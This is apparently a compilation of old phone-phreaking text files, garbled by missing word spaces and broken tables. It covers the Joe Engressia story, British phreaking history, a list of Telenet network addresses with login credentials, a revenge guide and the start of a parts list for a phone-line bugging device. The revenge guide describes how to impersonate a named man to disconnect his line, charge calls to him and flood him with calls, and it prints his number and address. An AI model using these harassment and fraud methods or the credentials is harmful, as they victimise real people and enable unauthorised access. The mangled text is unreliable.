thethirdtimetodayandinsteadofcheckingtheyjustgotmad.Well,thatgetsme
mad.Imean,Idotrytohelpthem.There'ssomethingaboutthemIcan'tunderstand
youwanttohelpthemandtheyjusttrytosayyou'redefraudingthem."ItisSunday
eveningandJoeinvitesmetojoinhimfordinnerataHolidayInn.Frequentlyon
SundayeveningJoetakessomeofhiswelfaremoney,callsacab,andtreatshimself
to a steak dinner at one of Memphis' thirteen Holiday Inns. (Memphis is the
headquartersofHolidayInn.HolidayInnshavebeenafavouriteforJoeeversincehe
madehisfirstsolophonetriptoaBellswitchingofficeinJacksonville,Florida,and
stayedintheHolidayInnthere.HelikestostayatHolidayInns,heexplains,because
theyrepresentfreedomtohimandbecausetheroomsarearrangedthesameallover
thecountrysoheknowsthatanyHolidayInnroomisfamiliarterritorytohim.Just
like any telephone). Over steaks in the Pinnacle Restaurant of the Holiday Inn
MedicalCentreonMadisonAvenueinMemphis,Joetellsmethehighlightsofhis
lifeasaphonefreak.Atageseven,Joelearnedhisfirstphonetrick.Ameanbaby
sitter,tiredoflisteningtolittleJoeplaywiththephoneashealwaysdid,constantly,
putalockonthephonedial."Igotsomad.Whenthere'saphonesittingthereandI
can'tuseit,soIstartedgettingmadandbangingthereceiverupanddown.InoticedI
bangeditonceanditdialledone.Well,thenItriedbangingittwice."Inafew
minutesJoelearnedhowtodialbypressingthehookswitchattherighttime."Iwas
soexcitedIremembergoingwhoowhooandbeataboxdownonthefloor."Atage
eightJoelearnedaboutwhistling."Iwaslisteningtosomeinterceptnonworking
numberrecordinginL.A.IwascallingL.A.asfarbackasthat,butI'dmainlydial
nonworkingnumbersbecausetherewasnocharge,andI'dlistentotheserecordings
allday.Well,Iwaswhistling'causelisteningtotheserecordingscanbeboringafter
awhileeveniftheyarefromL.A.andallofasudden,inthemiddleofwhistling,the
recording clicked off. I fiddled around whistling some more and the same thing
happened.SoIcalleduptheswitchroomandsaid,I'mJoe.I'meightyearsoldandI
wanttoknowwhywhenIwhistlethistunethelineclicksoff.Hetriedtoexplainit
tome,butitwasalittletootechnicalatthetime.Iwentonlearning.Thatwasathing
nobodywasgoingtostopmefromdoing.ThephonesweremylifeandIwasgoing

topayanypricetokeeponlearning.IknewIcouldgotojail.ButIhadtodowhatI
hadtodotokeeponlearning."ThephoneisringingwhenwewalkbackintoJoe's
apartmentonUnionAvenue.ItisCaptainCrunch.TheCaptainhasbeenfollowing
mearoundbyphone,callingupeverywhereIgowithadditionalbitsofadviceand
explanationformeandwhateverphonefreakIhappentobevisiting.Thistimethe
Captainreportsheiscallingfromwhathedescribesas"myhideawayhighupinthe
SierraNevada."HepulsesoutlustysalvosofMFandtellsJoeheisaboutto"go
outandgetalittleactiontonight.Dosomefreakingofanotherkind,ifyouknow
whatImean."Joechuckles.TheCaptainthentellsmetomakesureIunderstandthat
whathetoldmeabouttyingupthenation'sphonelineswastrue,butthatheandthe
phonefreaksheknewneverusedthetechniqueforsabotage.Theyonlylearnedthe
techniquetohelpthephonecompany."Wedoalotoftroubleshootingforthem.Like
thisNewHampshire/MissouriWatslineflawI'vebeenscreamingabout.Wehelp
themmorethantheyknow."AfterwesaygoodbyetotheCaptainandJoewhistles
himofftheline,Joetellsmeaboutadisturbingdreamhehadthenightbefore:"Ihad
beencaughtandtheyweretakingmetoaprison.Itwasalongtrip.Theyweretaking
metoaprisonalonglongwayaway.AndwestoppedataHolidayInnanditwasmy
lastnighteverusingthephoneandIwascryingandcrying,andtheladyatthe
HolidayInnsaid,Gosh,honey,youshouldneverbesadataHolidayInn.You
shouldalwaysbehappyhere.Especiallysinceit'syourlastnight.Andthatjust
madeitworseandIwassobbingsomuchIcouldn'tstandit."TwoweeksafterIleft
JoeEngressia'sapartment,phonecompanysecurityagentsandMemphispolice
broke into it. Armed with a warrant, which they left pinned to a wall, they
confiscatedeverypieceofequipmentintheroom,includinghistoytelephone.Joe
wasplacedunderarrestandtakentothecityjailwherehewasforcedtospendthe
nightsincehehadnomoneyandknewnooneinMemphistocall.Itisnotclearwho
toldJoewhatthatnight,butsomeonetoldhimthatthephonecompanyhadanopen
andshutcaseagainsthimbecauseofrevelationsofillegalactivityhehadmadetoa
phonecompanyundercoveragent.BymorningJoehadbecomeconvincedthatthe
reporterfromEsquire,withwhomhehadspokentwoweeksago,wastheundercover
agent.Heprobablyhaduglythoughtsaboutsomeonehecouldn'tseegaininghis
confidence,listeningtohimtalkabouthispersonalobsessionsanddreams,while
planningallthewhiletolockhimup."Ireallythoughthewasareporter,"Engressia
toldtheMemphisPress Seminar."Itoldhimeverything".Feelingbetrayed,Joe
proceededtoconfesseverythingtothepressandpolice.Asitturnsout,thephone
companydiduseanundercoveragenttotrapJoe,althoughitwasnottheEsquire
reporter.Ironically,securityagentswerealertedandbegantocompileacaseagainst
Joebecauseofoneofhisactsofloveforthesystem:Joehadcalledaninternal
servicedepartmenttoreportthathehadlocatedagroupofdefectivelongdistance
trunksandtocomplainagainabouttheNewHampshire/MissouriWatsproblem.Joe
alwayslikedMaBell'slinestobecleanandresponsive.Asuspiciousswitchman
reportedJoetothesecurityagentswhodiscoveredthatJoehadneverhadalong
distancecallchargedtohisname.ThenthesecurityagentslearnedthatJoewas
planning one of his phone trips to a local switching office. The security people
plantedoneoftheiragentsintheswitchingoffice.Heposedasastudentswitchman

andfollowedJoearoundonatour.HewasextremelyfriendlyandhelpfultoJoe,
leadinghimaroundtheofficebythearm.WhenthetourwasoverheofferedJoea
ridebacktohisapartmenthouse.OnthewayheaskedJoeonetechmantoanother
about "thoseblueboxers"he'd heardabout.Joetalked aboutthemfreely,talked
abouthisblueboxfreelyandaboutalltheotherthingshecoulddowiththephones.
ThenextdaythephonecompanysecurityagentsslappedamonitoringtapeonJoe's
line,whicheventuallypickedupanillegalcall.Thentheyappliedforthesearch
warrantandbrokein.IncourtJoepleadednotguiltytopossessionofablueboxand
theftofservice.Asympatheticjudgereducedthechargestomaliciousmischiefand
foundhimguiltyonthatcount,sentencedhimtotwothirtydaysentencestobe
servedconcurrentlyandthensuspendedthesentenceonconditionthatJoepromise
nevertoplaywithphonesagain.Joepromised,butthephonecompanyrefusedto
restorehisservice.FortwoweeksafterthetrialJoecouldnotbereachedexcept
throughthepayphoneathisapartmenthouseandthelandlordscreenedallcallsfor
him.PhonefreakCarlmanagedtogetthroughtoJoeafterthetrialandreportedthat
Joesoundedcrushedbythewholeaffair."WhatI'mworriedabout,"Carltoldme,"is
thatJoemeansitthistime.Thepromise.Thathe'llneverphonefreakagain.That's
whathetoldme,thathe'sgivenupphonefreakingforgood.Imeanhisentirelife.
Hesaysheknowsthey'regoingtobewatchinghimsocloselyfortherestofhislife
he'llneverbeabletomakeamovewithoutgoingstraighttojail.Hesoundedvery
brokenupbythewholeexperienceofbeinginjail.Itwasawfultohearhimtalkthat
way.Idon'tknow.Ihopemaybehehadtosoundthatway.Overthephone,you
know."Hereportsthattheentirephonefreakundergroundisupinarmsoverthe
phonecompany'streatmentofJoe."AllthewhileJoehadhishopespinnedonhis
applicationforaphonecompanyjob,theywerestringinghimalonggettingreadyto
bust him. That gets me mad. Joe spent most of his time helping them out. The
bastards.Theythinktheycanusehimasanexample.Allofsuddenthey'reharassing
us on the coast. Agents are jumping up on our lines. They just busted 's mute
yesterdayandrippedouthislines.ButnomatterwhatJoedoes,Idon'tthinkwe're
goingtotakethislyingdown."Twoweekslatermyphoneringsandabouteight
phonefreaksinsuccessionsayhellofromabouteightdifferentplacesinthecountry,
amongthemCarl,EdandCaptainCrunch.Anationwidephonefreakconference
linehasbeenreestablishedthroughaswitchingmachineinwiththecooperationof
adisgruntledswitchman."Wehaveaspecialguestwithustoday,"Carltellsme.The
nextvoiceIhearisJoe's.Hereportshappilythathehasjustmovedtoaplacecalled
Millington,Tennessee,fifteenmilesoutsideofMemphis,wherehehasbeenhiredas
atelephonesetrepairmanbyasmallindependentphonecompany.Somedayhe
hopestobeanequipmenttroubleshooter."It'sthekindofjobIdreamedabout.They
foundoutaboutmefromthepublicitysurroundingthetrial.MaybeMaBelldidmea
favourbustingme.I'llhavetelephonesinmyhandsalldaylong.""Youknowthe
expression,Don'tgetmad,geteven?"phonefreakCarlaskedme."Well,Ithink
they'regoingtobeverysorryaboutwhattheydidtoJoeandwhatthey'retryingtodo
tous."
(AnexcellentstorypresentedherebyJollyRoger,takenfromtheOfficialHacker's
Guide.OriginallyseenbymyselfinsomebookandIcan'trememberthenameofit.

ThehistoryofBritishfreaking
courtesyofExodus
Thesecondinaseriesofthehistoryoffiles
writtenanduploadedbyLexLuthorandtheLegionofDoom!
Note:ThebritishpostofficeistheU.S.equivalentofMaBell.InBritainfreaking
goes back to the early fiefties when the technique of toll a drop back was
discovered.TollawasanexchangenearSt.Pauluswhichroutedcallesbetween
LondonandneabynonLondonexchanges.Thetrickwastodialanunallocated
numberandthendepressthereceiverrestfor1/2second.Thisflashinginitiatedthe
clearforwardsignal,leavingthecallerwithanopenlineintothetollanexchange.
Theycouldthendial018whichforwardedhimtothetrunkexchangeatbecausethe
internalroutingcodesintheUKNetworkarenotthesameasthosediallledbythe
caller,thefreakshadtodiscoverthembyprobeandlistentechniquesormore
commonlyknownintheU.S.scanning.Whattheydidwasputinlikelysignalsand
listenedtofindoutiftheysucceeded.Theresultsofscanningwerecirculatedtoother
freaks.Discoveringeachothertooktimeatfirst,buteventuallythefreaksbecame
organized.The"Tap"ofBritainwascalled"Undercurrents"whichenabledBritish
freakstosharetheinfoonnewnumbers,equipmentetc.To understandwhatthe
Britishfreaksdid,thinkofthephonenetworkinthreelayersoflines:local,trunkand
international.#IntheU.K.,subscribertrunkdialling(STD),isthemechanism
whichtakesacallfromthelocallinesand(legitimately)elevatesittoatrunkor
internationallevel.#TheU.K.freaksfiguredthatacallattrunklevelcanberouted
throughanynumberofexchanges,providedthattherightroutingcodeswerefound
andusedcorrectly.Theyalsohadtodiscoverhowtogetfromlocaltotrunklevel
eitherwithoutbeingWcharged(whichtheydidwithableeperbox)orwithoutusing
(STD).Chaininghasalreadybeenmentioned,butitrequireslongstringsofdigits
andspeechgetsmoreandmorefaintasthechaingrows,justlikeitdoeswhenyou
stacktrunksbackandforthacrosstheU.S.#Thewaythesecurityrepssnaggedthe
freakswastoputasimpleprintermetoraswecallit:apenregisteronthesuspects
line,whichshowseverydigitdialledfromthesubscribersline.TheBritishpreferto
getontothetrunksratherthanchaining.Onewaywastodiscoverwherelocalcalls
usethetrunksbetweenneighbouring exchanges,startacallandstayonthetrunk
instead of returningto thelocal level onreaching the distant switch. This again
requiredexhaustivediallingandmademoreworkfortitan;italsorevealedfiddles,
which were inserted by post office engineers. What fiddling means is that the
engineersrewiredtheexchangesfortheirownbenefit.Theequipmentismodifiedto
giveaccesstoatrunkwithoutbeingcharged,anoperationwhichisprettyeasyin
stepbystep(SXS)electromechanicalexchangeswhichwereinstalledinBritaineven
inthe1970's.
Note:IknowofabackdoorintotheCanadiansystemona4ACo.,soifyouare
onSXSora4A,tryscanning3digitexchanges,i.e.:dial999,998,997etc.#and
listenforthebeepkerching,ifthereareno3digitcodeswhichallowdirectaccessto
atandeminyourlocalexchangeandbypassestheAMA,soyouwon'tbebilled,

nothavetoblast2600everytimeyouwishtoboxacall.AfamousBritishfiddler
revealedintheearly1970'sworkedbydialling173.Thecallerthenaddedthetrunk
code of 1 and the subscribers local number. At that time, most engineering test
servicesbeganwith17X,sotheengineerscouldhidetheirfiddlesinthenestof
serviceswires.Whensecurityrepsstartedsearching,thefiddleswereconcealedby
tonessignalling:numberunobtainableorequipmentengagedwhichswitchedoff
afteradelay.Thenecessaryrelaysaresmallandeasilyhidden.Therewasanother
sidetofreakingintheU.K.inthesixties.BeforeSTDwaswidespreadmany
ordinarypeopleweredrivento.Occasionalfreakingfromsheerfrustrationatthe
inefficientoperator controlledtrunksystem.Thiscametoaheadduringa strike
about1961whenoperatorscouldnotbereached.Nothingcomplicatedwasneeded.
Many operators had beenin thehabit of repeatingthe codes as they dialled the
requestednumberssopeoplesoonlearntthenumberstheycalled frequently. The
onlytrickwastoknowwhichexchangescouldbedialledthroughtopassonthe
trunknumber.Callersalsoneededaprettyquietplacetodoit,sincetimingrelative
toclickswasimportantthemostfamoustrialofBritishfreakswascalledtheOld
BailyTrial#whichstartedon3rdofOct.1973.#Whatthefreaksdidwastodiala
sparenumberatalocalcallrate,butinvolvingatrunktoanotherexchange, then
theysendaclearforwardtotheirlocalexchange,indicatingtoitthatthecallis
finished;butthedistantexchangedoesn'trealizebecausethecaller'sphoneisstilloff
thehook.Theynowhaveanopenlineintothedistanttrunkexchangeandsendstoit
aseizesignal:1whichputshimontoitsoutgoinglinesnow,iftheyknowthe
codes,theworldisopentothem.Allotherexchangestrusthislocalexchangeto
handle the billing; they just interpret the tones they hear. Meanwhile the local
exchange collects only for a local call. The investigators discovered the freaks
holdingaconferencesomewhereinEnglandsurroundedbyvariousphoneequipment
andbleeperboxes,alsoprintoutslistingsecretpostofficecodes.(Theyprobably
got them from trashing?).Thejudgesaid:"Sometaketoheroin,some taketo
telephones".Forthemphonefreakingwasnotacrimebutahobbytobesharedwith
fellowenthusiastsanddiscussedwiththepostofficeopenlyoverdinnerandbymail.
Their approach and atitude to the worlds largest computer, the global telephone
system,wasthatofscientistsconductingexperimentsorprogrammersandengineers
testingprogramsandsystems.Thejudgeappearedtoagreeandevenaskedthemfor
freakingcodestousefromhislocalexchange!!!
(leftuntouchedasIgotit...JR)
BadasShit
courtesyofBlackGateBBS
Recently,atelephonefanaticinthenorthwestmadeaninterestingdiscovery.He
wasexploringthe804areacode(Virginia)andfoundoutthatthe840exchangedid
somethingstrange.Inthevastmajorityofcases,infactinallofthecasesexceptone,
hewouldgetarecordingasiftheexchangedidn'texist.However,ifhedialled804
840andfourratherpredictablenumbers,hegotaring!Afteroneortworings,
somebodypickedup.Beingexperiencedatthiskindofthing,hecouldtellthatthe

calldidn't"supe",thatis,nochargeswerebeingincurredforcallingthisnumber.
(Calls that get you to an error message or a special operator, generally don't
supervise.)Afemalevoice,withahintofaSouthernaccentsaid,"Operator,canI
helpyou?""Yes,"hesaid,"WhatnumberhaveIreached?""Whatnumberdidyou
dial,sir?"Hemadeupanumberthatwassimilar."I'msorrythatisnotthenumber
youreached."Click.Hewasfascinated.Whatintheworldwasthis?Heknewhe
wasgoingtocallback,butbeforehedid,hetriedsomemoreexperiments.Hetried
the 840 exchange in several other area codes. In some, it came up as a valid
exchange.Inothers,exactlythesamethinghappenedthesamelastfourdigits,the
sameSouthernbelle.Oddlyenough,helaternoticed,theareasworkedinseemedto
travelinabeelinefromWashingtonDCtoPittsburgh,PA.Hecalledbackfroma
payphone."Operator,canIhelpyou?""Yes,thisisthephonecompany.I'mtesting
thislineandwedon'tseemtohaveanidentificationonyourcircuit.Whatofficeis
this,please?""Whatnumberareyoutryingtoreach?""I'mnottryingtoreachany
number.I'mtryingtoidentifythiscircuit.""I'msorry,Ican'thelpyou.""Ma'am,ifI
don'tgetanIDonthisline,I'llhavetodisconnectit.Weshownorecordofithere."
"Holdonamoment,sir."Afteraboutaminute,shecameback."Sir,Icanhave
someonespeaktoyou.Wouldyougivemeyournumber,please?"Hehadanticipated
thisandhehadthepayphonenumberready.Afterhegaveit,shesaid,"Mr.XXX
willgetrightbacktoyou.""Thanks."Hehungupthephone.Itrang.Instantly!"Oh
myGod,"hethought,"Theyweren'taskingformynumbertheywereconfirming
it!""Hello,"hesaid,tryingtosoundauthoritative."ThisisMr.XXX.Didyoujust
makeaninquirytomyofficeconcerningaphonenumber?""Yes.Ineedanidenti"
"Whatyouneedisadvice.Don'tevercallthatnumberagain.Forgetyoueverknew
it."Atthispointourfriendgotsonervoushejusthungup.Heexpectedtohearthe
phoneringagainbutitdidn't.Overthenextfewdaysherackedhisbrainstryingto
figureoutwhatthenumberwas.Heknewitwassomethingbigthatwaspretty
certainatthispoint.Itwassobigthatthenumberwasprogrammedintoeverycentral
officeinthecountry.Heknewthisbecauseifhetriedtodialanyothernumberin
thatexchange,he'dgetalocalerrormessagefromhisCo,asiftheexchangedidn't
exist.Itfinallycametohim.Hehadanunclewhoworkedinafederalagency.He
hadafeelingthatthiswasgovernmentrelatedandifitwas,hisunclecouldprobably
findoutwhatitwas.Heaskedthenextdayandhisunclepromisedtolookintothe
matter.Thenexttimehesawhisuncle,henoticedabigchangeinhismanner.He
wastrembling."Wheredidyougetthatnumber?!"heshouted."DoyouknowI
almostgotfiredforaskingaboutit?!?TheykeptwantingtoknowwhereIgotit."
Ourfriendcouldn'tcontainhisexcitement."Whatisit?"hepleaded."What'sthe
number?!""It'sthepresident'sbombshelter!"Henevercalledthenumberafter
that.Heknewthathecouldprobablycausequiteabitofexcitementbycallingthe
numberandsayingsomethinglike,"Theweather'snotgoodinWashington.We're
comingoverforavisit."Butourfriendwassmart.heknewthatthereweresome
thingsthatwerebetteroffunsaidandundone.
(afuckinggreatstoryfromtheOfficialFreaker'sGuide)
Telenet

courtesyofExodus
orig.byJR
ItseemsthatnotmanyofyouknowthatTelenetisconnectedtoabout80computer
networksintheworld.No,Idon'tmean80nodes,but80networkswiththousandsof
unprotectedcomputers.WhenyoucallyourlocalTelenetgateway,youcanonlycall
thosecomputerswhichacceptreversechargingcalls.Ifyouwanttocallcomputers
inforeigncountriesorcomputersinU.S.A.whichdonotacceptRcalls,youneed
a Telenet ID. Did you ever notice that you can type ID XXXX when being
connectedtoTelenet?Youarethenaskedforthepassword.IfyouhavesuchaNui
(Network User ID) youcan callnearlyeveryhostconnected toanycomputer
networkintheworld.Herearesomeexamples:
026245400090184:IsaVaxinGermany(Username:Datexpandleavemailfor
Chris!!!)
0311050500061: IstheLos Alamos IntegratedComputingNetwork(Oneof the
hostsconnectedtoitistheDNA(DefenceNuclearAgency)!!!)
0530197000016:IsaBBSinNewZealand
024050256:IstheSEBankinStockholm,Sweden(Loginasgames!!!)
02284681140541: Cern in Geneva in Switzerland (one of the biggest nuclear
researchcenresintheworld)Loginasguest.
0234212301161:AVideotexstandardsystem.TypeopteltogetinandusetheID
999_withthepassword9_
0242211000001 University of Oslo in Norway (Type log in 17, 17 to play the
MultiUserDungeon!)
0425130000215:SomethinglikeITTDialcom,butthisoneisinIsrael!ID help
withpasswordhelpworksfinewithsecuritylevel3
0310600584401:IstheWashingtonPostNewsServiceviaTymnet(Yes,Tymnetis
connectedtoTelenet,too!)IDandPasswordis:Peter.Youcanreadthenewsofthe
nextday!
Theprefixesareasfollows:
02624isDatexPinGermany
02342isPSSinEngland
03110isTelenetinUSA
03106isTymnetinUSA
02405isTelepakinSweden
04251isIsranetinIsrael

02080isTranspacinFrance
02284isTelepacinSwitzerland
02724isEirpacinIreland
02704isLuxpacinLuxembourg
05252isTelepacinSingapore
04408isVenusPinJapan

Andsoon.SomeofthecountrieshavemorethanonePacketSwitchingNetwork
(USAhas11,Canadahas3etc.).OK.Thatshouldbeenoughforthemoment.As
youseemostofthepasswordsareverysimple.Thisisbecausetheymustnothave
anyfearofhackers.OnlyafewGermanhackersusethesenetworks.Mostofthe
computersareabsolutelyeasytohack!!!So,trytofindoutsomeTelenetID'sand
leavethemhere.Ifyouneedmorenumbers,leaveemail.I'mcallingfromGermany

viatheGermanDatexPnetwork,whichissimilartoTelenet.Wehavealotofthose
Nui'sfortheGermannetwork,butnoneforaspecialTymnetOutdialComputerin
USA,whichconnectsmetoanyphone#.
CUL8R,MadMax
PS:Call026245621040000andtypeIDINF300withpassword datacom toget
moreInformationsonpacketswitchingnetworks!
PS2:ThenewpasswordfortheWashingtonPostisking!!!
FuckingwiththeOperator
courtesyofExodus
Evergetanoperatorwhogaveyouahardtime,andyoudidn'tknowwhattodo?
WelliftheoperatorhearsyouusealittleBelljargon,shemightwiseup.Hereisa
littlediagram(excusetheartwork)ofthestructureofoperators:
/\/\/\
!operator!>!S.A.!>!Bos!
\/\/\/
!
!
V
/\
!groupchief!
\/
Nowmostoftheoperatorsarenotbugged,sotheycancurseatyou,iftheydoask
instantlyforthe"S.A."ortheServiceAssistant.Theoperatordoesnotreporttoher
(95%ofthemarehers)buttheywillsolvemostofyourproblems.Shemustgive
youhernameassheconnects&allofthesecallsarebugged.IftheSAgivesyoua
roughtimegetherBos(BusinessOfficeSupervisor)ontheline.She/Hewillalmost
alwaysbackhergirlsup,butsometimestheSAwillgettarredandfeathered.The
operatorreportstotheGroupChiefandshe/hewillsolve100%ofyourproblems,
butthechancesofgettingshe/heonthelinearenill.Ifalineman(theguywho
worksoutonthepoles)oraninstallationmangivesyoutheworksasktospeaktothe
InstallationForeman,thatworkswonders.Hereissomeotherbelljargon,thatmight
comeinhandyifyouarehavingtroublewiththeline.Ortheycanbeusedtolieyour
wayoutofsituations.AnErlingisalinebusyfor1hour,usedmostlyintraffic
studiesAPermanentSignalisthatterriblehowlingyougetifyoudisconnect,but
don'thangup.Everyoneknowswhatabusysignalis,butsomeidiotsthinkthatisthe
*Actual*ringingofthephone,whenitjustisatone"beeps"whenthephoneis
ringing,wouldn'tbetonthisthough,itcan(anddoes)getoutofsync.Whenyouget
abusysignalthatis2timesasfastasthenormalone,thepersonyouaretryingto
reachisn'treallyonthephone,(hemightbe),itisactuallythesignalthatatrunkline
somewhereisbusyandtheyhaven'torcan'trerouteyourcall.Sometimesyouwill

getaRecordingorifyougetnothingatall(LeftHigh&Dryinphoneterms)allthe
recordingsarebeingusedandthesystemisreallyoverused,willprobablygodown
inalittlewhile.ThishappenedwhenKennedywasshot,thesystemjustcouldn't
handlethecalls.Bythewaythisiscalledthe"reordersignal"andthetrunklineis
"blocked".Onemorething,ifanoverseascallisn'tcompletedanddoesn'tgenerate
anymoneyforAT&T,isiscalledan"Air&WaterCall".AT&Tisnolongeras
stupidassheoncewas.IadvisestrongcautionwhenfuckingwithMaBell.
FrackInc.VolumeOne,IssueOne,File#4of8
Thephonefreak'sFRYUMguide
compiledbytheIronSoldierwithhelpfromdr.Dove.
Note:Thisguideisstillbeingcompiledandasphonefreakslearnmoreintheartof
vengeanceitwillalwaysexpand."Vengeanceismine",saystheFreak.
Method1Phonelinefun
Callupthebusinessoffice.Itshouldbelistedatthefrontofthewhitepages.Say
youwantedtodisconnectScottKorman'sline.Dial800xxxxxxx."Hello,thisis
Mr.Korman,I'mmovingtoCaliforniaandwouldliketohavemyphoneservice
disconnected.I'mattheairportnow.I'mcallingfromapayphone,mynumberis
[414]4455005.Youcansendmyfinalbillto:(somewhereinCalifornia).Thank
you."
Method2Phonebooks
Callupthebusinessofficefromapayphone.Say:"Hello,I'dliketoorderaPhone
BookforUpperVolta(oranyoutofthewayareawithDirectDialling).Thisis
ScottKorman,shipto3119N.44thSt.Milwaukee,WI53216.Yes,Iunderstandit
willcost$xx($25$75!!!).Thankyou."
Method3Phonecalls
CallupaPBX,enterthecodeandgetanoutsideline.Thendial0+thenumber
desiredtocall.Youwillhearabonkandthenanoperator.Say,"I'dliketocharge
thistomyhomephoneat4144455005.Thankyou."AfriendandIdidthistoa
loser, I called him at 1:00 AM and we left the phone off the hook all night. I
calculatedthatitcosthim$168.
Method4MISCservices
Callupthebusinessofficeonceagainfromapayphone.Sayyou'dlikecall
waiting,forwarding,3wayetc.OnceagainyouarethefamedloserScottKorman.
Hepaysyoulaugh.Youdon'tknowhowfunnyitwastalkingtohimandwondering

whatthoseclickshekepthearingwere.
Method5changed&unpub
Dothesameasin#4,butsayyou'dliketochangeandunlistyour(Scott's)
number. Anyone calling him will get: "bew bew beep. The number you have
reached,4455005,hasbeenchangedtoanonpublishednumber.Nofurther!".
Method6forwarding
Thisrequiredanaccompliceortwoorthree.AroundChristmastime,gotoToys
RUs.Geteveryoneatthecustomerserviceormanager'sdeskaway("Hey,could
youhelpme").Thenyougetontheirphoneanddial(usuallydial9first)andthe
businessofficeagain.Thistime,sayyouarefromToysR'Usandyou'dliketoadd
callforwardingto4455005.Scottwillget100600callsaday!!!
Method7Russiancaller
Callapayphoneat10:00pm.Saytotheoperatorthatyou'dliketobookacallto
Russia.Sayyouarecallingfromapayphoneandyournumberisthatoftheloserto
fry(e.g.4455005).Shewillsaythatshe'llhavetocallyoubackin5hoursand
youO.K.that.Meanwhiletheloser(e.g.)Scott,willgetacallat3:00amfroman
operator saying that the call he booked to Russia is ready. If you have any
questions,leaveemailformeonanyboardI'mon.
TheIronSoldierTSFTheSecondFoundation!

InternationalCountryCodeListing
courtesyofExodus
orig.byJR
*UnitedKingdom/Ireland
Ireland...................................................353UnitedKingdom....................................44
*Europe
Albania..................................................35 Belorussia.............................................375
5
Bosnia&Hertzegovina........................387
Andorra...................................................33 Bulgaria................................................359
Austria....................................................43 Croatia..................................................385
Belgium..................................................32 Cyprus...................................................357

CzechRepublik...................................420 Monaco...................................................33
Denmark.................................................45 Netherlands.............................................31
Estonia..................................................372 Norway...................................................47
FeroeIslands........................................298 Poland.....................................................48
Finland..................................................358 Portugal.................................................351
France.....................................................33 Romania..................................................40
FYROM(Macedonia)...........................389 RussianFederation..................................7
Germany.................................................49 SanMarino............................................39
Gibraltar................................................350 Slovakia........................................421/424
Greece.....................................................30 Slovenia................................................386
Hungary..................................................36 Spain.......................................................34
Iceland..................................................354 Sweden....................................................4
Italy.........................................................39 6
Lethonia................................................371 Switzerland.............................................41
Liechtenstein...........................................41Turkey.....................................................90
Lithuania...............................................370 Ukraine.................................................380
Luxemburg...........................................352 VaticanCity............................................39
Malta.....................................................356 Yugoslavia............................................381
MoldavianRepublic...........................373
*CentralAmerica
Belize....................................................501 Honduras...............................................504
CostaRica.............................................506 Nicaragua..............................................505
Cuba........................................................53 Panama..................................................50
ElSalvador..........................................503 7
Guatemala.............................................502

*Africa
Algeria..................................................213 Gabon....................................................24
Angola..................................................244 1
Benin.....................................................229Gambia..................................................22
Burundi.................................................257 0
Cameroon.............................................237 Ghana....................................................233
CentralAfrica......................................236 Guinea.....................................................22
Congo....................................................24 IvoryCoast..........................................225
2
Kenya....................................................254
Congo'sRepublic................................243 Lesotho.................................................266
Djibouti.................................................253 Liberia...................................................231
Egypt.......................................................20Libya.....................................................218
Ethiopia.................................................251Madagascar...........................................261

Malawi..................................................265 Sudan....................................................249
Mali.......................................................223Swaziland..............................................26
Maurithania...........................................2228
Morocco................................................212 Tanzania................................................25
Mozambic.............................................258 5
Namibia................................................264 Tchad...................................................235
Niger.....................................................227 Togo......................................................228
Nigeria..................................................234 Tunisia..................................................216
Rwanda.................................................250 Uganda..................................................256
Seychelles.............................................248 Zair........................................................23
Senegal..................................................22 4
1
Zambia..................................................260
SierraLeone.........................................232Zimbabwe.............................................263
Somalia.................................................252
SouthAfrica...........................................27
*Pacific
AmericanSamoa................................684 Malaysia.................................................60
Australia..................................................6 NewCaledonia....................................687
1
NewZealand..........................................64
Bangladesh...........................................880 NorthKorea........................................850
Brunei...................................................673 PapuaNewGuinea.............................675
Cambodgia............................................855 Phillipines...............................................63
China.......................................................86Saipan...................................................670
Fiji.........................................................679Singapore................................................65
FrenchPolynesia................................689 SouthKorea..........................................82
Guam....................................................671 Taiwan..................................................886
Hawai.................................................1808 Thailand..................................................66
HongKong.........................................852 Vietnam..................................................84
Indonesia.................................................62
Japan.......................................................81

*IndianOcean
Pakistan..................................................92 Lanka................................................94
Sri
*SouthAmerica
Argentina................................................54 Bermude...................................1441/1809
Bahamas.............................................1242 Bolivia..................................................591

Brazil......................................................55 Paraguay...............................................595
Chile.......................................................56 Peru.........................................................51
Colombia................................................57 PuertoRicco......................................1787
Ecuador.................................................593 Suriname...............................................597
FrenchGuyana........................................5 Trinidad&Tobago.............................1868
Guyana..................................................592 Uruguay................................................598
Jamaica...............................................1809 Venezuela...............................................58
*NearEast
Afghanistan.............................................93Mongolia...............................................976
Bahrain..................................................97 Nepal.....................................................977
3
Oman.....................................................96
Georgia.................................................995 8
Iran..........................................................98 Qatar.....................................................974
Iraq........................................................964 SaudiArabia........................................966
Israel.....................................................972 Syria......................................................963
Jordan....................................................96 UnitedArabEmirates.........................971
2
YemenArabRepublic........................967
Kuwait..................................................965
Liban.....................................................961
*Carribean/Atlantic
FrenchAntilles....................................596 NetherlandsAntilles............................599
GuantanamoBay(U.S.NavyBase).....53 St.PierreandMiquelon......................508
Haiti......................................................509
*India
India............................91
*Canada
TocallCanada,dial1+areacode+localnumber.

*Mexico
TocallMexico,dial011+52+citycode+localnumber.
Todialinternationalcalls:InternationalAccessCode+Countrycode+Routing
code.Example:TocallFrankfurt,Germany,youwoulddothefollowing:011+49+
611+(#wanted)+#sign(octothrope).The#signattheendistotellBellthatyou

aredoneenteringinalltheneededinfo.
TheInfinityTransmitter
courtesyofExodus
originallytypedbyGhostWind
fromthebookbuildyourownlaser,phaser,ionraygun&otherworkingspaceage
projectsbyRobertIannini(TabBooksInc.)
Description
Briefly,theInfinityTransmitterisadevicewhichactivatesamicrophoneviaa
phone call. It is plugged into the phone line and when the phone rings, it will
immediatelyintercepttheringandbroadcastintothephoneanysound thatisinthe
room.ThisdevicewasoriginallymadebyInformationUnlimited,andhadatouch
tonedecodertopreventallwhodidnotknowthecodefrombeingabletousethe
phoneinitsnormalway.Thisversion,however,willactivatethemicrophonefor
anyonewhocallswhileitisinoperation.
Note:Itisillegaltousethisdevicetotrytobugsomeone.Itisalsoprettystupid
becausetheyarefairlynoticeable.
PartsList
PretendthatuFmeansmicroFarad,cap=capacitor
Part#Description

R1,4,83390k1/4wattresistor
R215,6M1/4wattresistor
R3,5,636,8k1/4wattresistor
R7/S115kpot/switch
R9,162100k1/4wattresistor
R1012,2k1/4wattresistor
R13,1821k1/4wattresistor
R141470ohm1/4wattresistor
R15110k1/4wattresistor
R1711M1/4wattresistor
C11.05uF/25Vdisccap
C2,3,5,6,751uF50Velectrolyticcaportant
(preferablynonpolarized)
C4,11,123.01uF/50Vdisccap
